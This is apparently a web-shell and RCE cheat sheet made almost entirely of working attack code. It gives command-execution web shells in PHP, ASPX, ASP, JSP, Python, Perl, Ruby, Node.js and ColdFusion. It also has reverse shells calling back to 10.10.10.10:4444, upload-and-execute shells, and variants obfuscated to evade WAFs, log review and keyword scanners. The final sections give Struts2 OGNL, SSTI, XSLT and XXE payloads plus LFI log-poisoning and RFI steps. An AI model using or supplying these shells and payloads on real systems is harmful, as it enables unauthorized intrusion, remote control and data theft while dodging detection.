PHP
PHP One-liner
Minimal — use: shell.php?cmd=id
LINUXOSXWINDOWS
<?php system($_GET["cmd"]); ?>
PHP shell_exec
shell_exec returns output as string
LINUXOSXWINDOWS
<?php echo "<pre>".shell_exec($_REQUEST["cmd"])."</pre>"; ?>
PHP passthru
passthru() — outputs raw binary; good for commands with binary output
LINUXOSXWINDOWS
<?php passthru($_GET["cmd"]); ?>
PHP exec
exec() collects output into array
LINUXOSXWINDOWS
<?php exec($_GET["cmd"],$o); echo implode("\n",$o); ?>
PHP popen
popen() streams output — good for long-running commands
LINUXOSXWINDOWS
<?php $h=popen($_GET["cmd"],"r"); while(!feof($h)) echo fread($h,4096); pclose($h); ?>
PHP backtick
Backtick operator — alias of shell_exec
LINUXOSXWINDOWS
<?php echo `{$_GET["cmd"]}`; ?>
PHP proc_open
proc_open — captures stdout + stderr separately
LINUXOSXWINDOWS
<?php
$cmd = $_GET["cmd"];
$desc = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
$p = proc_open($cmd,$desc,$pipes);
echo stream_get_contents($pipes[1]);
echo stream_get_contents($pipes[2]);
proc_close($p);
?>
PHP Password Auth
POST-based auth — ?p=s3cr3t&cmd=id (change password)
LINUXOSXWINDOWS
<?php
$pass = "s3cr3t"; // change this
if(!isset($_POST["p"]) || md5($_POST["p"]) !== md5($pass)) die("403");
echo "<pre>".shell_exec($_POST["cmd"])."</pre>";
?>
PHP Cookie Auth
Cookie-based auth — harder to detect in logs
LINUXOSXWINDOWS
<?php
if(($_COOKIE["auth"]??"")!=="mysecrettoken") die("");
echo "<pre>".shell_exec($_POST["cmd"])."</pre>";
// Usage: curl -b "auth=mysecrettoken" -d "cmd=id" http://target/shell.php
?>
PHP Base64 input
Command input as base64 — evades simple WAF keyword filters
LINUXOSXWINDOWS
<?php system(base64_decode($_POST["c"])); ?>
PHP Obfuscated
ROT13 obfuscation — evades keyword scanning
LINUXOSXWINDOWS
<?php $f=str_rot13("flfgrz"); $f($_GET[str_rot13("pzq")]); ?>
PHP Eval
eval() + base64 — execute arbitrary PHP; POST e=<base64(phpcode)>
LINUXOSXWINDOWS
<?php @eval(base64_decode($_POST["e"])); ?>
PHP File Manager
Combined cmd exec + directory listing — ?cmd=whoami&dir=/etc
LINUXOSXWINDOWS
<?php
// Mini file manager + exec
$cmd = $_GET["cmd"] ?? "id";
$dir = $_GET["dir"] ?? ".";
echo "<h3>PWD: ".realpath($dir)."</h3>";
echo "<pre>".shell_exec($cmd)."</pre>";
echo "<hr><pre>";
foreach(scandir($dir) as $f) {
$fp = $dir."/".$f;
$type = is_dir($fp) ? "D" : "-";
$mtime = date("Y-m-d H:i", filemtime($fp));
echo "$type $mtime $f\n";
}
echo "</pre>";
?>
PHP Reverse Trigger
Reverse shell triggered via GET ?go=1 → connects back to 10.10.10.10:4444
LINUXOSX
<?php
// Trigger: visit shell.php?go=1
if(isset($_GET["go"])){
$s=fsockopen("10.10.10.10",4444);
proc_open("/bin/sh -i",[$s,$s,$s],$p2);
}
?>
PHP Upload + Exec
Upload arbitrary file + execute — upload ELF/sh/exe payloads
LINUXOSXWINDOWS
<?php
// File uploader + executor
if($_FILES["f"]["error"]==0){
$dst = sys_get_temp_dir()."/".$_FILES["f"]["name"];
move_uploaded_file($_FILES["f"]["tmp_name"],$dst);
chmod($dst,0755);
echo shell_exec($dst);
}
echo '<form method="post" enctype="multipart/form-data">
<input type="file" name="f"><input type="submit" value="Upload">
</form>';
?>
ASPX
ASPX One-liner
Minimal ASPX — IIS .NET framework, use ?cmd=whoami
WINDOWS
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe","/c "+Request["cmd"]); %>
ASPX Full Output
Captures stdout+stderr — full output via ?cmd=whoami /all
WINDOWS
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object s, EventArgs e) {
string cmd = Request.QueryString["cmd"] ?? "whoami";
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()) + "</pre>");
p.WaitForExit();
}
</script>
ASPX PowerShell
Runs PowerShell — ?cmd=Get-Process, useful for bypassing cmd restrictions
WINDOWS
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object s, EventArgs e) {
string cmd = Request["cmd"] ?? "whoami";
Process p = new Process();
p.StartInfo.FileName = "powershell.exe";
p.StartInfo.Arguments = "-NonInteractive -ExecutionPolicy Bypass -Command " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd()) + "</pre>");
}
</script>
ASPX Reverse Shell
ASPX triggers reverse shell to 10.10.10.10:4444 on page load
WINDOWS
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object s, EventArgs e) {
TcpClient client = new TcpClient("10.10.10.10", 4444);
NetworkStream stream = client.GetStream();
Process proc = new Process();
proc.StartInfo.FileName = "cmd.exe";
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardError = true;
proc.Start();
StreamReader sr = proc.StandardOutput;
StreamWriter sw = proc.StandardInput;
StreamReader se = proc.StandardError;
byte[] buf = new byte[8192]; int n;
while ((n = stream.Read(buf, 0, buf.Length)) > 0) {
sw.WriteLine(System.Text.Encoding.ASCII.GetString(buf, 0, n));
sw.Flush();
string o = sr.ReadToEnd(); if(o.Length>0) { byte[] b=System.Text.Encoding.ASCII.GetBytes(o); stream.Write(b,0,b.Length); }
}
client.Close();
}
</script>
ASPX File Upload
ASPX file uploader — upload another shell or payload to same directory
WINDOWS
<%@ Page Language="C#" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object s, EventArgs e) {
if(Request.Files.Count > 0) {
HttpPostedFile f = Request.Files[0];
string path = Server.MapPath(".") + "\" + f.FileName;
f.SaveAs(path);
Response.Write("Uploaded: " + path);
}
}
</script>
<form method="post" enctype="multipart/form-data">
<input type="file" name="f" /><input type="submit" value="Upload" />
</form>
ASPX Eval (VB)
VBScript ASPX variant — same as C# but in VB.NET syntax
WINDOWS
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
Sub Page_Load(s As Object, e As EventArgs)
Dim cmd As String = Request("cmd")
Dim p As New Process()
p.StartInfo.FileName = "cmd.exe"
p.StartInfo.Arguments = "/c " & cmd
p.StartInfo.UseShellExecute = False
p.StartInfo.RedirectStandardOutput = True
p.Start()
Response.Write("<pre>" & p.StandardOutput.ReadToEnd() & "</pre>")
End Sub
</script>
ASP
ASP Classic
Classic ASP (VBScript) — IIS 5/6 or older sites, ?cmd=whoami
WINDOWS
<%
Dim cmd, shell, result
cmd = Request.QueryString("cmd")
Set shell = CreateObject("WScript.Shell")
Set exec = shell.Exec("cmd.exe /c " & cmd)
result = exec.StdOut.ReadAll()
Response.Write "<pre>" & Server.HTMLEncode(result) & "</pre>"
%>
ASP Shell Object
Shell.Application COM object — blind execution (no output)
WINDOWS
<%
Set obj = CreateObject("Shell.Application")
Set exec = obj.ShellExecute("cmd.exe","/c "&Request("cmd"),"","open",0)
Response.Write("done")
%>
ASP WScript.Shell
Write output to temp file then read back — avoids ReadAll timeout
WINDOWS
<%
Set sh = Server.CreateObject("WScript.Shell")
cmd = "cmd /c " & Request("cmd") & " > C:\Windows\Temp\out.txt 2>&1"
sh.Run cmd, 0, True
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile("C:\Windows\Temp\out.txt",1)
Response.Write "<pre>" & f.ReadAll & "</pre>"
%>
ASP JScript
Classic ASP but JScript engine — same capability, different syntax
WINDOWS
<%@ Language="JScript" %>
<%
var cmd = Request.QueryString("cmd");
var shell = new ActiveXObject("WScript.Shell");
var exec = shell.Exec("cmd.exe /c " + cmd);
Response.Write("<pre>" + exec.StdOut.ReadAll() + "</pre>");
%>
JSP
JSP One-liner
Minimal JSP — note: exec() output not captured this way, use full version
LINUXOSXWINDOWS
<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>
JSP Full Output
Captures stdout — full output via ?cmd=id (Linux) or ?cmd=whoami (Windows)
LINUXOSXWINDOWS
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String[] command = {"/bin/sh", "-c", cmd};
// Windows: String[] command = {"cmd.exe", "/c", cmd};
Process p = Runtime.getRuntime().exec(command);
InputStream in = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) sb.append(line + "\n");
out.println("<pre>" + sb.toString() + "</pre>");
p.destroy();
%>
JSP Windows
JSP Windows variant — spawns cmd.exe via ProcessBuilder
WINDOWS
<%@ page import="java.util.*,java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; StringBuilder sb = new StringBuilder();
while ((line=br.readLine())!=null) sb.append(line).append("\n");
out.print("<pre>"+sb+"</pre>");
%>
JSP ProcessBuilder
ProcessBuilder + stderr merge — ?cmd=id&os=linux OR ?cmd=whoami&os=win
LINUXOSXWINDOWS
<%@ page import="java.io.*" %>
<%
String[] cmd = request.getParameter("os").equals("win")
? new String[]{"cmd.exe","/c",request.getParameter("cmd")}
: new String[]{"/bin/sh","-c",request.getParameter("cmd")};
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true);
Process p = pb.start();
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuilder sb = new StringBuilder(); String ln;
while ((ln=br.readLine())!=null) sb.append(ln+"\n");
out.println("<pre>"+sb+"</pre>");
%>
JSP Reverse Shell
JSP that connects back to 10.10.10.10:4444 on page load
LINUXOSX
<%@ page import="java.net.*,java.io.*" %>
<%
// Visit page to trigger reverse shell to 10.10.10.10:4444
Socket s = new Socket("10.10.10.10", 4444);
Process p2 = Runtime.getRuntime().exec("/bin/sh");
InputStream pi = p2.getInputStream(), pe = p2.getErrorStream();
OutputStream po = p2.getOutputStream(), so = s.getOutputStream();
InputStream si = s.getInputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush(); po.flush();
Thread.sleep(50);
}
%>
JSP File Upload
JSP file uploader — save files to webroot/upload/ (Servlet 3.0+)
LINUXOSXWINDOWS
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
String savePath = application.getRealPath("/") + "upload/";
new File(savePath).mkdirs();
Part fp = request.getPart("file");
String fname = fp.getSubmittedFileName();
fp.write(savePath + fname);
out.println("Uploaded: " + savePath + fname);
%>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file"><input type="submit" value="Upload">
</form>
Python
Python CGI
CGI script — deploy to cgi-bin/, must be executable (+x)
LINUXOSX
#!/usr/bin/env python3
import cgi, subprocess, sys
print("Content-Type: text/html\n")
form = cgi.FieldStorage()
cmd = form.getvalue("cmd", "id")
result = subprocess.getoutput(cmd)
print(f"<pre>{result}</pre>")
Python WSGI
WSGI app — deploy behind gunicorn/uWSGI; ?cmd=id
LINUXOSX
import subprocess
from urllib.parse import parse_qs
def application(environ, start_response):
qs = parse_qs(environ.get("QUERY_STRING",""))
cmd = qs.get("cmd",["id"])[0]
out = subprocess.getoutput(cmd).encode()
start_response("200 OK",[("Content-Type","text/plain"),("Content-Length",str(len(out)))])
return [out]
Python Flask Shell
Flask dev server shell — run directly on target
LINUXOSX
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route("/")
def shell():
cmd = request.args.get("cmd","id")
return "<pre>"+subprocess.getoutput(cmd)+"</pre>"
if __name__=="__main__":
app.run(host="0.0.0.0",port=5000)
Perl
Perl CGI
Perl CGI script — deploy to cgi-bin/ as executable
LINUXOSX
#!/usr/bin/perl
use CGI;
print "Content-Type: text/html\n\n";
my $q = CGI->new;
my $cmd = $q->param("cmd") || "id";
$cmd =~ s/[;&|`]//g; # basic filter (easily bypassed)
print "<pre>".`$cmd`."</pre>";
Perl CGI No Mod
No CGI module — reads QUERY_STRING env directly
LINUXOSX
#!/usr/bin/perl
use strict;
print "Content-type: text/html\n\n";
my $cmd = $ENV{QUERY_STRING};
$cmd =~ s/cmd=//;
print "<pre>".qx($cmd)."</pre>";
Ruby
Ruby CGI
Ruby CGI script — deploy to cgi-bin/ as executable
LINUXOSX
#!/usr/bin/env ruby
require "cgi"
cgi = CGI.new
puts "Content-Type: text/html\n\n"
cmd = cgi["cmd"] || "id"
puts "<pre>#{`#{cmd}`}</pre>"
Ruby Rack (Sinatra)
Sinatra web shell — run: ruby shell.rb
LINUXOSX
require 'sinatra'
get '/' do
cmd = params[:cmd] || 'id'
"<pre>#{`#{cmd}`}</pre>"
end
Node.js
Node.js Express
Express web shell — run: node shell.js; then ?cmd=id
LINUXOSXWINDOWS
const express=require('express');
const {execSync}=require('child_process');
const app=express();
app.get('/',(req,res)=>{
try{
const out=execSync(req.query.cmd||'id',{timeout:5000}).toString();
res.send('<pre>'+out+'</pre>');
}catch(e){res.send(e.message);}
});
app.listen(3000,'0.0.0.0');
Node.js CGI
Node CGI script — deploy to cgi-bin/
LINUXOSX
#!/usr/bin/env node
const {execSync}=require('child_process');
const qs=require('querystring');
const params=qs.parse(process.env.QUERY_STRING||'');
const cmd=params.cmd||'id';
process.stdout.write('Content-Type: text/html\n\n');
try{
process.stdout.write('<pre>'+execSync(cmd).toString()+'</pre>');
}catch(e){process.stdout.write(e.message);}
ColdFusion
ColdFusion CFExec
ColdFusion cfexecute tag — requires CFML engine (Adobe/Lucee)
WINDOWS
<cfset cmd = URL.cmd>
<cfexecute name="cmd.exe" arguments="/c #cmd#" timeout="10" variable="out">
</cfexecute>
<pre><cfoutput>#HTMLEditFormat(out)#</cfoutput></pre>
CFM Runtime
ColdFusion via Java Runtime — works on both Windows and Linux
WINDOWSLINUX
<cfset cmd = URL.cmd>
<cfscript>
rt = createObject("java","java.lang.Runtime").getRuntime();
proc = rt.exec(cmd);
is = proc.getInputStream();
br = createObject("java","java.io.BufferedReader").init(
createObject("java","java.io.InputStreamReader").init(is));
out = ""; line = br.readLine();
while(isDefined("line") AND NOT isNull(line)) { out&=line&chr(10); line=br.readLine(); }
</cfscript>
<pre><cfoutput>#HTMLEditFormat(out)#</cfoutput></pre>
SSTI/OGNL
Struts2 OGNL RCE
Struts2 OGNL header injection — replace cmd value as needed
LINUXOSXWINDOWS
# CVE-2017-5638 / S2-045 style OGNL injection header:
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Jinja2 SSTI RCE
Jinja2 SSTI (Flask/Django) — test with {{7*7}} first
LINUXOSX
# Inject into template field:
{{request.__class__._load_form_data.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
# Simpler (if class methods not filtered):
{{lipsum.__globals__['os'].popen('id').read()}}
# Via config:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig SSTI RCE
Twig template engine SSTI — test injection with {{7*7}} or {{7*'7'}}
LINUXOSX
# Twig SSTI (PHP):
{{['id']|filter('system')}}
# Or:
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
# Twig v1:
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
Freemarker SSTI
FreeMarker (Java) SSTI — test with ${7*7}; use on Alfresco/WebWork
LINUXOSXWINDOWS
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Velocity SSTI
Apache Velocity SSTI (Java) — Jira, Confluence older versions
LINUXOSXWINDOWS
#set($x="")##
#set($rt=$x.class.forName("java.lang.Runtime"))##
#set($chr=$x.class.forName("java.lang.Character"))##
#set($str=$x.class.forName("java.lang.String"))##
#set($ex=$rt.getMethod("exec",$str.class).invoke($rt.getMethod("getRuntime").invoke(null),"id"))##
$ex.waitFor()##
#set($out=$ex.getInputStream())##
XSLT/XML
XSLT RCE (Saxon)
XSLT injection via Saxon processor — Runtime.exec() through XML transform
LINUXOSXWINDOWS
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="2.0"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:variable name="rt" select="Runtime:getRuntime()" xmlns:Runtime="java:java.lang.Runtime"/>
<xsl:variable name="proc" select="Runtime:exec($rt,'id')" xmlns:Runtime="java:java.lang.Runtime"/>
<xsl:value-of select="$proc"/>
</xsl:template>
</xsl:stylesheet>
XXE File Read
XXE entity injection — read local files; replace path with target
LINUXOSX
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
LFI/RFI
LFI to RCE (log)
LFI + log poisoning → RCE — works when LFI has no null-byte/traversal filter
LINUX
# 1. Poison Apache/Nginx access log via User-Agent:
curl -A '<?php system($_GET["cmd"]); ?>' http://target/
# 2. Include the log file via LFI:
http://target/vuln.php?page=../../../../var/log/apache2/access.log&cmd=id
# Nginx log path: /var/log/nginx/access.log
# SSH auth log: /var/log/auth.log (send PHP via ssh user)
RFI Shell
Remote File Inclusion — requires allow_url_include=On (rare in modern PHP)
LINUXOSXWINDOWS
# Host your shell on attacker:
python3 -m http.server 80
# shell.php: <?php system($_GET['cmd']); ?>
# Trigger RFI:
http://target/vuln.php?page=http://10.10.10.10/shell.php&cmd=id
# With null byte (older PHP):
http://target/vuln.php?page=http://10.10.10.10/shell.php%00